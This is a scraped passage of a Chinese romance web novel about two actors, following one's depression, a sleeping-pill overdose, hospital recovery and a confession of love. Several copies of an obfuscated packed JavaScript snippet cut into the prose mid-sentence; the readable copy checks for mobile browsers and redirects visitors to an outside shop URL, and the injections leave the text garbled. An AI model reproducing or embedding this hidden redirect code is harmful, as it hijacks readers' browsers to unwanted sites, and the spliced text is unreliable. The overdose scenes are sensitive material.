“要不就简单地发个声明，呼吁不信谣不传谣吧。”李正沉吟道。 江述正在看国庆节目后采提纲，闻言头也没抬说：“建议别发。” “为什么？” “免得打脸。” “……？？”李正脑子打结，皱眉想了又想，迟疑地问，“你们不会……真谈了吧？！” “还没有。” “‘还’没有……什么意思？”李正脑中警铃大作。 江述云淡风轻：“意思就是，还在追。” “！！！！！！” 一万句卧槽不足以形容李正此刻的心情。 江述此前所有的不合理操作，瞬间都有了解释。 为什么上次传绯闻时，童颜说了24K纯友谊，江述却拒绝互动。 为什么上次他匆匆离开，让改航班，第二天上午才回到组里。 为什么霸凌风波里公开力挺童颜。 这他妈可不就是“在追”吗？！ “我警告你，不管你‘在追’还是‘在谈’，绝对不能公开，一定要小心小心再小心，尤其这个时候。你的不少粉丝是‘女友粉’，处理不好要翻车的。” 江述放下采访提纲，站了起来。 “你干嘛？” “去做饭。” “……” 所以，助理透露他最近一有时间就泡在厨房，做完饭用饭盒装起来，叫个闪送送出去……是给童颜做的？！ 真他妈的…… “没救了你！” * 国庆节晚会结束后，江述在停车场遇见了魏子铭。 魏子铭主动走过来，说：“有时间聊两句吗？” 江述点头：“上车。” 魏子铭进了房车，车门刚关上就问：“童颜最近还好吗？” 江述想起那天，童颜在他车上看到网络消息。 有狗仔拍到她从魏子铭家出来，猜测二人在谈恋爱。转头孙艺涵就发了跟魏母吃饭的照片，魏子铭的团队下场互动，言辞含糊不清，被媒体解读为：魏子铭和孙艺涵好事将近。 这是在借孙艺涵转移视线，撇清他和童颜的关系。 以魏子铭如今的话语权，没他点头，工作室不可能如此行事。 童颜的崩溃，就是从那时开始的。 她几乎不出房门，整日把自己关在房间里，清醒地躺着，或者烂醉如泥地睡着，仿佛一棵枯萎的植物，再没有力气吸收阳光和养分。 而眼前的人，衣冠楚楚，虽不是始作俑者，却是最大的帮凶，他竟然还摆出一副为情所伤的颓唐。 真是可笑。 江述恨不得给他一拳，好不容易忍住了，是因为不想让童颜在此刻显得过于悲情。 他面无表情地回了句：“她没事。” 江述铁桶一般护在童颜身前，不肯透露她的境况，魏子铭深感无奈。 “我以为，身为同行，你至少能理解。我只是想徐徐图之，不想给她招惹更多是非。这次的风波太大，我多方联络打听，希望帮她尽快脱困。等一切平息，我自然会给她一个交代。” 江述嗤笑一声。 “交代？童颜不是温室里的娇花。你若不能在风雨袭来时陪着她，至少不要在她狼狈不堪时背刺她。说到底，你只是个精致的利己主义者罢了。” 江述对不熟的人很少刻薄，此时却无法克制胸中火气。 魏子铭被戳中了心思，尽管这心思只有很少很少，但他无法对自己不诚实。 他是务实的人，希望在事业和爱情之间，找到一种最好的解决方案，却忘记了，这种行为本身，就是对童颜的舍弃。 他愧而垂首，却仍有不甘，于是又抬起头，问：“你也喜欢她，是吗？” 江述神色淡然：“与你无关。” 魏子铭盯着他，半晌说了句：“希望你不必经历我的困境。” * 一个半月后，倪笑之死定性为自杀，没有证据显示她的死涉及外部因素。 童颜工作室报警的案子也有了结论：警方证实，录音的拼接处理痕迹明显，且无法证明和倪笑之死有关；至于网络流传的爆料，根据平台提供的账号信息，警方找到了曝料人，是一个65岁的老太太，被人盗用了身份信息，对于造谣一事毫不知情。 一时半会儿找不到账号实际使用人，警方只能先作查封处理，提醒网民保护好自己的个人信息，并呼吁不造谣、不传谣，案件暂时办结。 收到这个消息，林慧心喜不自胜，急忙让工作室出声明，然后跑到童颜家，把她从床上薅了起来。 童颜素面朝天，双眼浮肿，听完平静地说了句“知道了”，就又倒了下去。 林慧心扶着她肩膀，强迫她坐起来。 “童童，你洗清冤屈了！粉丝正在为你喊冤，品牌和媒体都在联系我，你的工作很快就能恢复正常了。” 童颜沉默片刻，说：“可是倪笑死了。她死前受的屈辱和殴打，就这么算了，没人追究了，是吗？” 林慧心愣了下，叹气：“我知道这件事对你冲击非常大，但死者已矣，活着的人要往前看。你曾对她伸出援手，相比多数人的冷漠围观，这已经很了不起了，我们做不了更多事。” “我最近一直在想，如果我当时没带走她，或者没有放她离开我家，有没有可能，她现在还活着？” “童童，”林慧心握住她的手，“你不能这么想。没人能预料后来会发生什么事，我们只能决定当下做什么事。你救她脱离险境，这没错，送她回家，也没错。你不是神，不要对自己求全责备。” “可是心姐，我真的……好难过啊！”童颜的眼泪忽然喷涌而出，“我被人陷害侮辱、名声尽毁，可我觉得自己能撑住，只要能让打她的人付出代价，我多撑一撑没关系……但是现在，没有人受到惩罚。她那天晚上，那么可怜地叫我童颜姐，不停跟我说谢谢……我救了她，又让她死掉了……” 她一下一下捶自己的胸口，哭得喘不上气。 “童童！别这样，童童……” 林慧试图抓住她的拳头，但童颜状若疯狂，力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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脸上的笑容也少了，偶尔笑一下，再不是之前那种张着嘴巴，不顾形象的哈哈大笑，而是公式化的弯唇微笑。 林慧心和乔乐是离她最近的人，自然发现了她的异常。但二人都以为，时间长了就会好的。 然而，江述的心却吊了起来。 十一月十七那天，江述结束了外地行程，回到北京已是晚上十点。 他打车往童颜家去，路上发微信问：「在家吗？」 过了半个小时，那边才回了一个：「在」 江述就不再多聊。 到她家时快十一点了，童颜穿着睡衣来开门，见到他，微微吃惊：“你怎么来了？” “家里水管裂了，房子没法住，来你这借宿一晚。”瞎话张嘴就来。 童颜迟疑着：“那你去酒店，或者去你经纪人那住，来我家算怎么回事……” 江述不由分说，拎着行李箱进门：“真够无情的，以前你借住我家的时候，我哪次拒绝了？” “那能一样吗？”童颜小声嘟囔，倒也没再拒绝，关上门，跟着他走进客厅，“你现在是大红人，本来就有人在传咱俩绯闻，你还来我这住，万一被人拍到，我看你怎么解释！” “拍到就拍到，有什么好解释的。”江述不以为意，径直去卫生间洗手，像回到自己家一样，“晚上吃饭了吗？” 童颜已经躺回了沙发上，闻声答道：“吃了。” 江述洗完手出来，去厨房转了一圈，又在客厅各处看了看，走到沙发前问：“吃什么了？” “吃了……”童颜木呆呆想了几秒，“忘了。” “骗鬼吧你！”江述气不打一处来，抓着她胳膊，把她拽起来，“跟我去做饭。” 童颜不耐：“你饿了自己做去！放开我，我要躺着。” 江述根本不理会，两只拖鞋直接套她脚上，一手扶肩，一手揽腿，干脆利索地将人打横抱起。 26. 家访 童颜在他怀里扑腾：“你干嘛！我不想动，把我放下来！” 江述将她抱到厨房，放下地，说：“我要做饭，你帮忙。” “我不会做饭！” 童颜转身要走，江述把门一关，直接反锁，钥匙放裤兜里。 “摘菜洗菜会不会，不会就在旁边站着看。” “你大晚上跑过来，就是故意来折腾我的对吧？江述，你烦不烦！”童颜靠在墙上，泄气地说。 江述笑了笑：“你说对了，我就是看你闲着不顺眼。” 他打开冰箱，却呆住了。 身后传来童颜得意的声音：“我家什么吃的都没有。” “……” 江述拿出冰箱里仅有的两个鸡蛋、一根腊肠、四朵香菇——还是他上次做饭剩下的。 “你要干嘛？这点东西够做什么？”童颜错愕。 “把香菇洗了。” 江述一边吩咐，一边从橱柜里拎了个碗出来，把鸡蛋磕进去，搅散了，加点温水，放在篦子上，开火蒸。 “你可真不嫌麻烦。” 虽不情愿，童颜还是按他吩咐的，去洗蘑菇了。 江述往电饭煲里加入一碗米，淘洗干净，先用水泡上，再把腊肠切丁，香菇切片，放进锅中，用盐、胡椒粉、鸡精、蚝油和生抽调个料汁，一并倒进去，开始焖煮。 童颜人生第无数次赞叹：“你不去做厨子，可惜了。” 等饭熟的功夫，江述一边收拾灶台，一边问：“今天做什么了？” 童颜说：“最近在敲一个戏，今天去跟导演见面聊了聊。” “顺利吗？” “还行吧。可能再过两周就得进组。” 江述点了点头，正好蛋羹熟了，他把碗取出来，加入酱油和醋，再滴入两滴香油，撒点葱花，完工。 “端出去吧，小心烫。” “哦。” 童颜垫着隔热布，将蛋羹捧到餐桌上，拿筷子搅拌几下，香气扑鼻，她忍不住咽口水，一时食欲大振。 江述把腊肉香菇酱汁饭盛上桌时，那碗蛋羹已经不见了。 有人捂着嘴，笑眼弯弯，带点讨好地说：“本来想给你剩几口的……” “哦，那怎么没剩呢？”江述面无表情。 童颜手里抓着长柄大勺，一脸无辜地看着他：“左手没打过右手。” “既然这样。”江述顿了顿，“腊肉饭就归我了。” “……” 他言行一致，一勺一勺吃得慢条斯理，根本不抬头，丝毫没有分一点给她的意思。 童颜探着脑袋，说：“你一个人吃这么多，不会撑吗？” “不会。我今天还没吃过饭。” “……哦。” 累了一天还没吃饭，童颜也不好意思开口了。 过了一会儿，江述忽然说：“好像有点咸了。” 童颜眨巴眨巴眼睛：“那你喝点水。”她殷勤地倒了杯水，推到他手边，“需要我帮忙尝尝吗？” 江述略一沉吟：“可以。” 童颜忙不迭挖了一大勺，放进嘴里，嚼了两下，好吃的差点没咬掉舌头。 怎么会！ 一个普普通通的腊肉饭，怎么会这么好吃……呜呜，她刚才应该给江述剩点蛋羹的。 “咸吗？” “不……还好。” 江述瞧她眼巴巴的模样，心里暗笑，面上却是老神在在。 少顷，装模作样地摇了摇头：“你去拿个碗拨点吧，还是太咸了，我一个人吃不完。” 童颜“腾”地一下站起身，火速跑到厨房拿了个碗出来。 江述给她拨了满满一碗，童颜有点不好意思：“够了……够了，再拨你就不够吃了。” 他的盘子里就剩一个角了。 “没事，反正锅里还有。” “……”童颜瞪着眼，“江述！！！” 搞了半天，逗她玩儿呢？早怎么不说锅里还有啊！ “吃你的吧！”江述轻笑一声，大掌按着她脑袋，推她坐回去，“锅里没了。” “……” * 吃完饭，江述去洗碗，童颜上楼洗漱。 等他收拾好，童颜正在房间吹头发。他在外敲门，童颜懒得开，直接冲门外喊：“你自己找个屋子睡吧。” 江述原本还想跟她聊聊的，转念一想，天太晚了，还是让她休息吧。 他去了二楼她隔壁的卧室，洗漱完躺下，不久就睡熟了。 凌晨3点起夜，隐约听见外面有动静，江述打开房门出去，发现童颜的卧室门开了条缝。 他心里一惊，当即敲门：“童颜，你在屋里吗？我进去了。” 谁知声音从楼下传来：“我在这。” 江述转头，发现童颜在一楼客厅。 屋里一片漆黑，若非她穿的睡衣是亮色，还真不容易发现。 他快速下楼，楼梯上的感应灯次第亮起。 “你半夜不睡，跑下楼做什么？”江述打开客厅的灯。 童颜冲茶几抬了抬下巴：“喝水。” 杯子是空的，童颜一条腿蜷缩着，坐在沙发上，脸上的疲惫之色在灯光下无所遁形。 “你一直没睡吗？”江述问。 童颜说：“睡不着。” “是只有今晚，还是一直睡不着？” “一直。”童颜低着头，平静地说，“一晚能睡两三个小时，就算不错了。” “多久了？”江述蹲下身，担忧地看着她。 童颜想了想，摇头：“记不起来了。” “跟心姐说过吗？” 她仍是摇头：“没必要。” “你失眠，精力不足，让心姐知道，就能少安排点工作，怎么能说没必要呢？” “如今的工作机会得来不易，强度也不大，我能顶住。” 江述心头发紧，抓住她两手握了握：“童颜，你可能，情绪有点问题，我们去医院看看，好吗？” 童颜愣了一下。 她从来没往这方面想过，不过是失眠罢了，过段时间就好了。即便到此时，她也不觉得自己有什么问题。 “不去。被人拍到麻烦。”她说着自嘲一笑，“我就是个麻烦体质。” “那至少，找个私人心理医生聊聊，行吗？” 童颜略一思考，点头应下：“我抽空去。” “别敷衍我。”江述捏她的脸，童颜愣了愣，他不自在地放下手，“既然你睡不着，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的手劲儿松了些，童颜赶快缩回脚，面无表情道：“事情起源于两年前，一个平平无奇的晚上，我在你家，看见一本耽美漫画……” 当时她真是又震惊又好奇，后来想了想，不管是不是她想的那样，既然江述没说，那就是不希望别人知道，于是她决定保守这个秘密。 江述仔细回想，完全没有关于这东西的记忆，他的工作室倒有个女孩子喜欢看耽美漫。 “你说的漫画，很可能是同事落在我家的。” “……” 童颜讪笑了两声：“误会一场，误会一场。我其实也只是有点怀疑，但你之前说过了，喜欢温柔的女生嘛！” “知道就好。以防你再产生混乱，我有必要认真告诉你……” 江述突然攥住她手腕，猛地将人拉起来。童颜惊呼一声，两人瞬间脸对脸，只有十公分的距离。慌乱间，她的一只手抵住了江述的胸膛。 “……我喜欢的，是女生。” 攥住她的手像铁环，而她手下的肌肉结实有弹性，清爽的男性气息钻入鼻腔，童颜盯着眼前这张绝世大帅脸，心脏突然砸了几下，脸色肉眼可见地红了。 “记住了吗？”他低声问。 27. 喜欢 童颜眨巴下眼睛，从他手中抢回自己的手腕，撑着身子，慢慢地朝后蛄蛹，接着像个虾米一样，侧倒在沙发上，双手捂住了脸。 神奇的是，江述在的那个晚上，童颜久违地多睡了两个小时，到早上八点才睁眼。 醒来时，他已经走了。 茶几上贴着一张便签：「早餐在桌上。我接下来都在武汉，饭要好好吃，记得去看心理医生。」 童颜盯着便签看了会儿，忽然感觉自己就像一个手机，而且是电池接近报废的那种，而江述就是她的充电器。每当她电量不足时，他总能及时赶来，给她充满电。 无声笑了笑，童颜丢下毯子，上楼去洗漱。 十一月底，童颜进组新剧《向左向右》，犯罪心理题材，女主是高智商天才，也是一个湮灭于平凡生活的妻子。 以前，童颜很喜欢待在组里。一部戏拍三五个月，这期间不用考虑别的，一心钻研角色就好，让她感觉有种回到母胎里的安心。 然而这次进组，她好像不会演戏了。 也不是不会演，就是无法进入角色，所有的情绪都浮于表面，是身为童颜的她，用技巧堆出来的。 干巴巴地硬“演”，这让童颜非常难受。 每场戏过完，她松一口气的同时，对自己的怀疑也增加几分。 林慧心和乔乐都安慰她，没问题的，演得很好啊，你只是没接触过现实主义题材，多演演就好了。 只有童颜知道，不是这样的。 那感觉就像，老天赐给她一些天分，又在不知什么时候收了回去，只有她自己知道区别在哪。 童颜的心理几近坍塌。 每天强撑着上工，回到酒店一句话都不想说。 她想，确实需要看看心理医生了，但一想到要向陌生人解释、倾诉，她只觉得疲惫。 江述经常发微信，关心她的情绪和生活状态。为免他担忧，她总是说很好，看医生了，开了点舒缓情绪的药。 其实只是让乔乐帮忙去开了点安眠药。 进组大半个月后，有一天在监视器前看回放，导演说：“不对，还是哪里不对。” 童颜站在一旁，像接受审判的学生，问：“导演，需要重来一遍吗？” “不是重来一遍的问题。”导演皱着眉头，“童颜，我感觉你最近状态不大对，怎么说……你以前的作品我也看过，很有灵气，这次感觉，差点灵气。” 导演这番话，让童颜顷刻如释重负。 那感觉就像，她脸上长了个瘤子，但身边所有人都说，没有瘤子啊，你多心了吧，以至后来，她麻木地不再向任何人提起。忽然有一天，有个人指着她的脸说，你长了个瘤子……她终于确信，不是自己胡思乱想，而是问题真实存在。 如释重负的同时，又仿佛站在一片破败的建筑群里，经过无数次重建、坍塌、再重建后，一声惊雷，满地废墟。 她不会演戏了。 这个念头让她如坠深渊。 她不知该如何回应导演的话，只好像个傻子一样，呆呆地站在旁边，等待接受最后的判决。 换角，或者推翻重来。 导演想了一会儿说：“你可能是最近太累了。这样，给你一周假，好好休息休息，我们先拍其他人的。你这部分，我再想想怎么处理。” 就这样，童颜人生第一次在剧组被放了假。 像被人狠扇了一巴掌似的，然而其痛感又是微乎其微的，完全不足以和她内心诸多感受相提并论。 童颜回到北京，拒绝了林慧心和乔乐的陪伴，说要一个人待着，然后就关掉了手机。 * 江述结束了一个月的集训，晚上从武汉飞回北京市，第一时间去了童颜家。 他给童颜发微信，一天都没收到回复，问了林慧心，才知道童颜放假了。 敲门没人应，江述直接按密码进去。 “童颜？”房子静寂无声。 江述莫名有种不太好的预感，不敢细想。 他大步跑到楼上，推开门，童颜侧躺在床上，盖着被子，胳膊露在外面，怀里抱着一个相框。 江述慢慢走过去，拍她的肩膀，轻声叫：“童颜？” 唤了两声，不应，江述有点慌了，大力晃她：“童颜醒醒……” 相框跌落在地，玻璃片片碎裂，压在童颜和妈妈的照片上。江述无意间瞥到床头柜，上面放着一个空水杯，他的心直往下沉。 “童颜别吓我，童颜……” 给120打电话时，他抖得几乎握不住手机。 童颜还有微弱的鼻息，江述等不及救护车赶到，抱她下楼，直接开车出门，一路疯了似的闯红灯，和救护车迎面遇到时，他整个人像刚从水里捞出来一般。 “什么情况，溺水吗？”医生一边问江述，一边上氧气面罩。 他摇头，嗓音干哑：“我不知道，救救她……救救她……” 路灯下，医生似乎认出了两人，点点头说：“先上车。” 救护车一路疾驰到医院，江述脱力地坐在急诊室外，听着医生匆忙地交代。 “患者没有意识，血糖和血压都太低……应该是吞了安眠药，量不小，先洗胃吧。” 安眠药。 童颜，你竟敢自杀……就那么心如死灰、无牵无挂了吗？ * 凌晨三点，童颜在病房里睁开眼。 江述坐在床边，抓着她的手，她一动，他就感觉到了。 “醒了？”他问。 童颜张了张嘴，没发出声音。咽了下口水，缓了会儿，说：“你哭过吗，江述？” 声音有气无力。 江述瞬间湿了眼，倾身抚了抚她的脸，问：“难受吗？” 她的视线缓缓转开，盯着天花板，无情无绪地说：“不难受。” “童颜！”江述低低吼了一声，扶着她的脸，强迫她看着自己，“你怎么敢？！” 童颜愣了片刻，慢慢抬起手，擦去他脸上的泪。 “我其实，没有想自杀。只是……很久没梦见我妈妈了，想和她说说话。但是怎么都睡不着，我一气之下，就多吃了几颗安眠药。” “几颗？童颜，你吞了十几颗！！你服药之前，有没有一个瞬间想过我？如果你死了，我要怎么办？” “你会难过一阵子吧。”她仿佛在说别人的事，甚至还苍白地笑了一下，“但你那么厉害，肯定会好起来的。你有事业，有粉丝，以后也会结交别的朋友……” 江述惨笑一声。 “童颜，我这么爱你，你视而不见，你残忍地把我放在朋友的位置上，为一个不值得的人伤心难过。你不要我，也不要自己，你竟然敢，让我再也见不到你……童颜，你真够狠心的……” 这些话，要在平时，江述是不会说的。 但童颜自杀带给他的冲击实在太大，像太阳熄灭光热，沉入永恒的冷寂，世界黑暗，只剩他惊恐的喘息声。 他太过慌乱，是以口不择言，潜意识里，也想把自己的心捧出去，哪怕只有一点点热，能不能暖一暖，她那颗冷透了的心？ 童颜从没见过江述掉眼泪，在她心里，他是一个顶天立地、无所不能的人，他怎么能哭呢？ 她太无措了，这种感觉甚至超过了他对她表白的震惊。 “你不要哭……”她不停地给他擦眼泪，可怎么都擦不完，“江述，对不起。我害你这么难过……我再也不胡闹了，你别哭了……” 江述将她紧紧抱在怀里，像抱着失而复得的珍宝。 “童颜，别放弃自己，也别丢下我。” * 凌晨四点，童颜又开始犯困，安眠药的余威还在，但她不想睡了。 被药物强制睡眠的感觉，就像有人拿筷子夹住她的眼皮，干涩难忍。 而且江述在这，她想和他说会儿话。 他刚才说，爱她，她没力气想，甚至这会儿也是蒙的，但又没感到丝毫不自在。 然而，爱这个主题太宏大了，尤其是男女之爱，深奥得让她一想到就忍不住头疼。 她还没有精力去想。 “江述，你要不……回去休息吧。”童颜犹豫道。 他为电影集训了一个月，又因为她折腾到医院，肯定很累了。 江述听完站起身，还没开口，又被童颜一把拉住了：“真走啊……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573688|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你倒水。” 他瞥了她一眼，拿她没什么办法似的。 童颜尴尬地缩回手。 “我想跟你说说话。” 江述扶她起身，喝了几口水，然后把床头摇高，让她躺得更舒服。 “想说什么？” “嗯……我感觉，我不会演戏了。” “为什么这么说？” “就是……你知道演员在现场，是有两个分身的吧，一个在角色身上，一个在半空观察，以前呢，我能让两个分身都专注于自己的工作，但是现在，角色身上那个我，经常跑出来，像得了离魂症一样。然后两个分身互相指责，我不知道怎么描述那种感觉，总之，特别混乱。我好像，控制不了她们了。” 江述听完沉默了一会儿，说：“你去看过心理医生吗？” “……没有。”童颜羞愧地低下头。 江述神色凝重，捧起她的脸：“我知道你嫌麻烦，不想去。但你如果自己疏导不了，就要借助医生，这不是你不想，就可以不做的事。” “可是，我不想被人看作精神病。” “那这样，你先好好休息几天，彻底放松精神，什么都不要想。我跟旧金山的朋友联系，他是很好的心理咨询专家，你们线上交流，视频、或者邮件都行。这样就不会有人知道了。” 童颜想了想，问：“可是我英语不好，沟通会有障碍吧？” “你用中文，他有助手翻译的。”江述捏了捏她的脸，笑，“而且，你不是想学好英文吗，这也是个机会，说不定你们聊着聊着，都不用翻译了，还省了一笔培训费不是？” “有道理。”童颜笑了起来，“你的朋友怎么收费，你沟通好了，我会按标准付费的。” “好。” 江述给她掖了掖被子，探手试了下额头。 “至于分身打架的事，你不妨试试，暂时取消她们的分工，让她们都进到角色身上。不要像个判官一样审判自己，那是作品播出后观众要做的事。在现场，你就专心地成为角色，相信导演和对手演员，慢慢就会好起来的。” 童颜想着他的话，少顷点头。 “江述，你坐过来。”她说。 江述不明所以，但还是按她说的，靠坐在床头，伸出一条胳膊。 童颜依偎在他臂弯，耳朵贴在他心口的位置，听着胸腔里“咚”“咚”“咚”的跳动声，感觉很平静。 这个姿势过分亲密了，即便她再百无禁忌，也没有这样过。然而，她此刻精疲力尽，只想离江述近一点，如此，那如海水般湿冷的情绪就不会淹过来。 过了会儿，她感觉好了一些，轻声问他：“你是什么时候……喜欢我的？” 江述一直没开口，童颜忍不住抬头，看他。 在他视线投过来时，又默默转回去，重新趴在他心口上。 “不知道。也许，攀岩那次吧。” “五年前？！” 他们刚刚认识的时候。 “嗯。”江述扯了扯嘴角，“不信？” 童颜摇了摇头：“对不起。我什么都不知道……你怎么，都不跟我说呢？” 他们在说男女之爱，然而谁都没有迂回、没有尴尬，仿佛只是在聊一件十分寻常的事。 “怕你不喜欢，怕你疏远我。”他干脆地承认。 童颜轻声说：“你这么好，怎会有人不喜欢呢？” 这一瞬间，她想起游轮庆功宴那晚，得知江述有喜欢的人，那人却不喜欢他，当时她也是如此调侃，原来……她竟真是个瞎子。 “那你呢？”江述问。 漫游的思绪被拉扯回来，童颜安静片刻，没有回答这个问题，却说：“这段时间，你很难过吧？我什么都不知道，还跟你说些有的没的，惹你烦了吧？” “没有。不会嫌你烦。” 两人沉默着，谁都没再开口。 过不多时，困意抵抗不住，童颜闭上了眼，耳朵里是有节奏的心跳声，她忍不住弯了弯嘴角。 睡着之前，迷迷糊糊说了句：“你让我考虑一下……” “嗯。”江述摸了摸她的头，“考虑多久都可以，但你要记得，我是排在首位的人。” 28. 看守 第二天，童颜疑似自杀的消息爆了微博热搜。 医院毕竟是公共场所，虽然她是夜里被送来的，还是有不少人看见了。有粉丝和记者赶来求证，无奈之下，童颜只好出院了。 江述跟院方联手，各种乔装打扮、围堵拦截，出个院，好像在打游击战一样。 所幸童颜除了头晕，没什么器质性问题，有点营养不良，养一养就好了。 回家的车上，两人的手机都快被打爆了，跟各自经纪人回个电话的功夫，信号断了好几回，微信不停地嗡嗡响，涌进无数条未读消息。 童颜刚应付完林慧心，姨妈的电话又来了。 这段时间她深陷风波，姨妈本就担心的不得了，几次三番说要来陪她住一段时间，童颜不想给让姨妈曝光，死活劝住了。 现在又传出自杀消息，姨妈简直吓得魂都要没了。 童颜叹了口气，接通电话：“喂，姨妈。” “颜颜！谢天谢地，你还活着呢……在哪家医院？” “……”她姨妈有时候，还挺幽默的，“我没在医院，在家呢。没自杀，就是……急性肠胃炎，你没看我工作室的声明吗？都是误会，我输了液，现在已经没事了。” 姨妈半信半疑：“你不是哄我吧？网上传的那图，看着吓死人了……我得亲眼看看你才放心，你哥已经送我出来了，那我们就直接上你家去啊……” 童颜苦劝无果，姨妈跟赵浔阳还是来了。 一进门，姨妈扒着她上上下下、正面反面看了个遍，确认只是脸色差，才松了口气。 “我怎么说来的，早说让你去体检、去体检，不听话，现在身体造出病来了，好受吗？瞧这瘦得一把骨头……” 童颜抱住她撒娇：“我错了，过两天就去体检，行不……” “你呀！就不是个省心的！”姨妈恨铁不成钢，轻推了下她的头。 赵浔阳也有样学样：“不省心！” 江述沏了茶端到客厅，对门口的人说：“进来坐吧，姨妈。” 施秀芳和赵浔阳这才发现，家里还有人。 二人都知道江述，只是没有私底下见过。姨妈这时想起新闻里说的，是江述送童颜去的医院，还有说他两人在谈恋爱的，瞬间就对江述多了几分好感。 笑微微走到沙发前，上下打量着他说：“多谢你送颜颜去医院啊，小述。” 江述说：“不客气，这是我应该做的。” 大高个，长得眉毛是眉毛、眼睛是眼睛的，说话谦逊，还知道泡茶，懂礼数，嗯，不错。 这时，赵浔阳跟江述握手，顺口寒暄了两句。 “姨妈坐吧。”江述说。 “欸，欸，你也坐。” 江述笑了笑：“我去给大家切点水果。” 把说话的空间留给他们一家人，真懂事。 江述一走，姨妈就拉着童颜的手，小声说：“这孩子看着不错。你们好好谈啊，可不要耍脾气欺负人家……” “才见一回，您怎么就知道他人不错了？” 不对，根本没谈好不好……童颜哭笑不得。但她此时没什么力气，也就没多解释。 “瞧你说的，姨妈白比你多活了三十年？我这眼睛一扫啊，就知道人肚子里有几根肠子。” “行，您是X光机。” 娘俩说着话，赵浔阳悠悠来一句：“哥给你考察考察去。”说着就溜达去了厨房。 童颜和姨妈聊了一会儿，扭头，江述和赵浔阳勾肩搭背，笑得那叫一个开心，尤其赵浔阳，牙花子都快糊眼上了。 等送走了姨妈，童颜躺在沙发上，问江述：“你刚刚，在跟我哥说什么？” “他想要几张签名照，我说等我签好了，给他寄过去。” 童颜顿时不乐意了：“我也是明星，他怎么不要我的签名照！” 江述捡起一块切好的苹果，塞她嘴里：“你哥喜欢足球，最爱的球星是梅西，正好，我还有一件梅西签名的球服，一并给他寄过去。” “你怎么对他这么好？”童颜不由惊奇，“而且，这才多大功夫，你们就熟了？” 江述瞥她一眼，神色波澜不惊：“大舅子社交，应该的。” “……” * 童颜此时胃太虚弱，不大能吃东西，但不吃又没力气，江述就熬了点皮蛋瘦肉粥，给她盛了一碗，一勺一勺的，竟喝光了。 她要回屋躺着，江述不让，强行把她摁回了沙发。 童颜闭着眼休息，他就在对面沙发上坐着看剧本。 阴天，客厅比平时暗许多，光透过窗子进来，驱不散屋里的沉闷，正是适合睡觉的天。 童颜晚上睡得多，此时没什么困意，眼睛盯着江述看。 他穿着牛仔衬衣配浅卡其色毛衣，藏青色长裤，长腿交叠而坐，上身微微向后倾斜，一手握着剧本，视线聚焦其上，神态很专注。 童颜忽然意识到，她以前，只笼统地知道江述长得好看，却从来没认真看过他的五官。 如今细细观赏，他的脸部线条精致流畅，放在男生身上，通常会显得女气。然而，女娲造人时显然对他过分偏爱了。他的眉骨高而饱满、鼻梁挺直、唇薄且唇线清晰，五官的硬朗中和掉了女气，整张脸散发着倔强而坚毅的气质。 童颜正看得入迷，江述忽然抬眼，寒星般的眸子令她猛地一怔，脑子里闪过两个字：硬帅。 “睡不着？”他放下剧本问。 童颜不好意思说，是被男色所误，于是眨了眨眼，当是默认。 江述想了想，问：“你的吉他放在哪？” 童颜有一阵子心血来潮，想学吉他，于是兴冲冲买了一把，结果学了不到两个月，就没了耐性。而那把花大价钱买来的吉他，放在角落里吃灰快一年了。 她指了指影音室，江述去拎出来，仍坐回沙发，吉他架在腿上，随手拨弄了几个音阶，挑眉：“吉他不错。” 童颜侧躺着，手臂枕在头下，问江述：“你还会弹吉他吗？从来没听你说过。” “学过点。” 叮叮咚咚，吉他声清脆地响起来，江述弹了两句，童颜听出来了：“最佳损友？” 他点头。她就不再说话。 这首歌童颜只记得一句词：为何旧知己，在最后，变不到老友。 如果套在江述和她身上……只这么想着，眼中便蒙上一层水汽。 许是吉他曲空灵而忧伤，或是她此时心绪如这天光一样灰败，至尾音落下，她已泪流满面。 “江述，我们会是一辈子的好朋友吗？”她吸了吸鼻子。 江述静静看着她，点头：“当然。” “即便……”她说了两个字就停下。 江述似乎知道她想说什么，仍是点头：“当然。” 即便你没有爱上我，我仍会是你，一辈子的好朋友。 童颜的眼泪又开始流，洇湿了一片沙发巾。 她从未觉得自己如此面目可憎。 这么好的江述，她不仅没看见他的爱意，甚至到此时，仍然试图忽视。只因她不想回应，却又舍不得他给的陪伴和安全感。 男女之间，有真正的友情吗？她已经糊涂了。爱情到底是什么？也搞不清楚了。 她一向肤浅，想不了太深刻的东西，于是索性闭上眼，放任自己当一只把头埋进沙子里的鸵鸟。 “什么时候学的吉他？”她换了个话题。 “上大一时，学校附近一个音乐酒吧里，我在那当服务生。台上的歌手弹了首乡村民谣，很好听。”他说着又开始拨动吉他弦，弹当时的那首曲子，“发了薪水后，我就买了把吉他，跟着网上的教程学。断断续续，有三个多月吧。” 童颜很少听他提起国外的生活，因此并不知道他还做过服务生，只当他一直都是如今这副矜贵的模样。 不过相比形象的反差，更让她震惊的是：“你自学的？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 